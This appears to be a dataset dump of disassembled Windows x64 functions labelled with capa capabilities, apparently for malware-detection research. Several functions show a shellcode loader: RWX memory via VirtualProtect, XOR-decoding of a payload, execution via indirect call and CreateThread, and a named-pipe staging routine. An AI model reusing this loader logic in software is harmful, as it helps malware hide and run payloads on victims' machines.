joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140030c20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400423a0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400423a0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x1400318f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140056248]
test eax, eax
je 0x14003198a
lea rax, [0x140056220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140056250]
mov qword [rbp - 8], rax
jmp 0x14003196e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140031962
cmp qword [rbp - 0x10], 0
je 0x140031962
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140031928
lea rax, [0x140056220]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14003198b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140031a90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140031ab8
mov eax, 0
jmp 0x140031b06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140031ae1
mov eax, 0
jmp 0x140031b06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140031b01
mov eax, 0
jmp 0x140031b06
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140031b0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140031b8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140031b81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140031b81
mov rax, qword [rbp - 8]
jmp 0x140031b9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140031b54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400012c0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov ebx, r8d
mov rsi, rcx
mov rax, qword [0x1400a9c40]
xor rax, rsp
mov qword [rsp + 0x30], rax
cmp r8d, 2
jne 0x140001329
mov dword [0x1400aa77c], 0x10
movups xmm0, xmmword [rsi]
movups xmmword [0x1400aa780], xmm0
movups xmm0, xmmword [rsi]
movups xmmword [0x1400aa790], xmm0
mov word [0x1400aa790], 0xba49
mov qword [0x1400aa792], rdx
mov word [0x1400aa79a], 0xff41
mov byte [0x1400aa79c], 0xe2
mov eax, 0x10
jmp 0x14000132f
mov eax, dword [0x1400aa77c]
mov dword [rsp + 0x2c], 0
mov edi, eax
lea r9, [rsp + 0x2c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001439
cmp dword [0x1400aa7b0], 0xa
mov r14, qword [0x1400aa7a0]
jl 0x14000139e
mov eax, dword [0x1400aa7b4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000139e
xor eax, eax
test ebx, ebx
setne al
shl rax, 4
lea rcx, [0x1400aa77c]
lea rdx, [rax + rcx]
add rdx, 4
mov rcx, rsi
mov r8, rdi
call fcn.14004b460
xor eax, eax
test ebx, ebx
setne al
shl rax, 4
lea rcx, [0x1400aa77c]
lea rdx, [rax + rcx]
add rdx, 4
mov rcx, rsi
mov r8, rdi
call fcn.14004b460
test r14, r14
setne byte [rsp + 0x2a]
cmp byte [rsp + 0x2a], 0
jne 0x1400013f9
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov qword [0x1400aa7a0], rax
test r14, r14
setne byte [rsp + 0x2b]
movzx eax, byte [rsp + 0x2b]
cmp al, 1
jne 0x14000141c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, rsi
mov r8d, edi
call r14
mov r8d, dword [rsp + 0x2c]
lea r9, [rsp + 0x2c]
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 1
jmp 0x14000143b
xor esi, esi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001d90
mov eax, esi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x140001460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x1400011f0]
mov r8d, 2
jmp fcn.1400012c0
Function at 0x1400014a0
Capabilities:
Create thread

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
mov rsi, r8
mov ebp, edx
mov rdi, rcx
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r14, rax
mov r8d, 0xa
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test ebp, ebp
jle 0x1400014f1
mov r9d, ebp
mov rcx, r14
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
test ebp, ebp
setg byte [rsp + 0x3f]
movzx eax, byte [rsp + 0x3f]
cmp al, 1
jne 0x14000155f
movsxd rax, ebp
xor ecx, ecx
jmp 0x140001531
mov edx, ecx
and edx, 7
movzx edx, byte [rsi + rdx]
xor dl, byte [rdi + rcx]
mov byte [rbx + rcx], dl
inc rcx
cmp rcx, rax
setl byte [rsp + 0x3f]
cmp byte [rsp + 0x3f], 0
je 0x14000155f
cmp dword [0x1400aa7b8], 0xa
jl 0x140001510
mov edx, dword [0x1400aa7bc]
lea r8d, [rdx + 1]
imul r8d, edx
and r8d, 1
je 0x140001510
mov edx, ecx
and edx, 7
movzx edx, byte [rsi + rdx]
xor dl, byte [rdi + rcx]
mov byte [rbx + rcx], dl
jmp 0x140001510
call fcn.140001460
mov rcx, rbx
call section..text
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140001480]
xor ecx, ecx
xor edx, edx
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x140001600
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov esi, edx
mov rdi, rcx
mov rax, qword [0x1400a9c40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x1400aa7e0]
mov edx, 2
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
inc rax
cmp rax, 2
jb 0x1400016c2
mov rcx, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400016c2
test esi, esi
jle 0x1400016b9
lea r14, [rsp + 0x44]
mov r15, qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
mov r8d, esi
mov r9, r14
call r15
test eax, eax
je 0x1400016b9
mov eax, dword [rsp + 0x44]
add rdi, rax
sub esi, eax
test esi, esi
jg 0x140001690
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001d90
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x140001af0
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movsxd rcx, dword [0x14005e004]
call fcn.14002033c
mov rsi, rax
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov ecx, 0x400
call rdi
mov edx, dword [0x14005e004]
mov rcx, rsi
call fcn.1400016e0
test eax, eax
je 0x140001ab0
mov edx, dword [0x14005e004]
lea r8, [0x14005e008]
mov rcx, rsi
call fcn.1400014a0
mov rcx, rsi
call fcn.140020334
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov edx, 0xd3e057bb
imul rdx, rcx
shr rdx, 0x2d
imul ecx, edx, 0x26aa
sub eax, ecx
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
lea rcx, [0x1400aa7e0]
lea rdx, str._c_c_c_c_c_c_c_c_cnetsvc_d
mov r8d, 0x5c
mov r9d, 0x5c
call fcn.1400015a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140001a70]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x68
jmp 0x140001a90

Function at 0x140002a78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002ac2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002ac2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002ac2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002ac2
cmp dword [rcx + 0x84], 0xe
jbe 0x140002ac2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002ac4
xor al, al
add rsp, 0x28
ret

Function at 0x14001bda0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001c030

Function at 0x1400203d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400203f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400203f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140039724
Capabilities:
Create thread
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x50
mov esi, r8d
mov r14, rdx
mov rbx, rcx
call fcn.14002b7ec
mov bpl, al
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor edi, edi
test eax, eax
je 0x140039777
test rbx, rbx
je 0x140039768
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test bpl, bpl
je 0x140039777
mov edi, 4
jmp 0x140039820
call fcn.14002b5cc
test al, al
jne 0x140039794
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
neg eax
sbb edi, edi
neg edi
add edi, 3
jmp 0x140039820
test bpl, bpl
je 0x1400397f7
mov qword [rsp + 0x28], rdi
lea r9, [rsp + 0x30]
lea r8, [0x140039b60]
mov dword [rsp + 0x20], edi
xor edx, edx
mov qword [rsp + 0x30], r14
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x44], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140039820
xor r8d, r8d
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, rbx
test eax, eax
je 0x1400397f1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140039820
mov edi, dword [rsp + 0x44]
jmp 0x1400397e9
call fcn.14002b718
test al, al
jne 0x140039808
bts esi, 0x15
xor ecx, ecx
jmp 0x140039810
call fcn.14002b688
mov rcx, rax
mov r9d, esi
mov r8, r14
mov rdx, rbx
call fcn.14002b404
mov edi, eax
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov rdi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop r14
ret
Function at 0x100041c24
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x50
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rdi, rcx
and dword [rax + 0x10], 0
mov dword [rax + 0x18], 4
lea rcx, [rax - 0x20]
call fcn.10000ee6c
lea r8, [rsp + 0x30]
mov rdx, qword [rax]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
sete bl
lea rcx, [rsp + 0x38]
call fcn.1000012a0
test bl, bl
je 0x100041d52
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
xor r8d, r8d
lea rdx, str.GlobalOnlineAssist
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RegQueryValueExW]
test eax, eax
jne 0x100041cdb
cmp dword [rsp + 0x78], 4
jne 0x100041cdb
lea rcx, [rsp + 0x38]
call fcn.100007f90
nop
mov r8d, dword [rsp + 0x68]
mov rdx, rax
mov rcx, rdi
call fcn.100001f24
nop
lea rcx, [rsp + 0x38]
call fcn.1000012a0
and dword [rsp + 0x68], 0
mov dword [rsp + 0x70], 4
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
xor r8d, r8d
lea rdx, str.GlobalImplicitFeedback
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_RegQueryValueExW]
test eax, eax
jne 0x100041d47
cmp dword [rsp + 0x78], 4
jne 0x100041d47
lea rcx, [rsp + 0x38]
call fcn.100016254
nop
mov r8d, dword [rsp + 0x68]
mov rdx, rax
mov rcx, rdi
call fcn.100001f24
nop
lea rcx, [rsp + 0x38]
call fcn.1000012a0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x100056248
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x530
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rsp + 0x158]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x1000562b3
and qword [rsp + 0x38], 0
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x50]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov r8, rbx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
jmp 0x1000562d3
mov rax, qword [rsp + 0x538]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x538]
mov qword [rsp + 0xf8], rax
lea rcx, str.Invalid_parameter_passed_to_C_runtime_function._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add rsp, 0x530
pop rbx
ret
Function at 0x2fc54a300
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc54ad02
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc56d108]
test eax, eax
je 0x2fc54ad9a
lea rax, [0x2fc56d0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc56d110]
mov qword [rbp - 8], rax
jmp 0x2fc54ad7e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc54ad72
cmp qword [rbp - 0x10], 0
je 0x2fc54ad72
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc54ad38
lea rax, [0x2fc56d0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc54ad9b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc54aea0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc54aec8
mov eax, 0
jmp 0x2fc54af16
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc54aef1
mov eax, 0
jmp 0x2fc54af16
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc54af11
mov eax, 0
jmp 0x2fc54af16
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc54af1c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc54af9a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc54af91
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc54af91
mov rax, qword [rbp - 8]
jmp 0x2fc54afaf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc54af64
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x14000226b
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x140002273
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400022aa
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x140002280
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400022d5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x1400022fb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x1400022e0
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a450
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rbx, [rsp + 0x30]
mov rbp, rdx
mov word [rsp + 0x30], ax
movzx edx, byte [rcx]
mov rsi, rcx
lea edi, [rax + 0x28]
test dl, dl
je 0x14000a4f5
nop dword [rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14000a4ad
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14000a4a0
cmp rcx, 1
jb 0x14000a526
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14000a4c3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14000dc6c
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14000a490
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000b930
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d970
int3
Function at 0x14000a5b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a5f5
xor al, al
jmp 0x14000a642
cmp word [rbx], 0
je 0x14000a60d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a600
cmp word [rsp + 0x30], 0
je 0x14000a63b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a663
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a620
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b930
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000d970
int3
Function at 0x14000adf0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001c9a0
sub rsp, rax
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002e520]
lea rsi, [0x140030560]
mov rdi, rcx
test r11d, r11d
jne 0x14000ae69
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a670
test al, al
je 0x14000af4f
lea rcx, [rsp + 0x20]
call fcn.140011388
movsxd r11, dword [0x14002e520]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002e520], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000aea4
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000ae94
add rax, 2
test ecx, ecx
jne 0x14000ae80
test edx, edx
je 0x14000aec7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ae74
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000aeb0
cmp rax, 2
jne 0x14000aecb
cmp word [rdi + 2], 0x3a
jne 0x14000aecb
mov al, 1
jmp 0x14000af2e
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000aef8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000aef8
mov bl, 1
jmp 0x14000aefc
test bl, bl
je 0x14000af23
cmp dword [0x14002e520], 0x400
jge 0x14000af23
mov rcx, rdi
call fcn.140011388
movsxd rdx, dword [0x14002e520]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002e520], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000b930
mov rsi, qword [rsp + 0x2050]
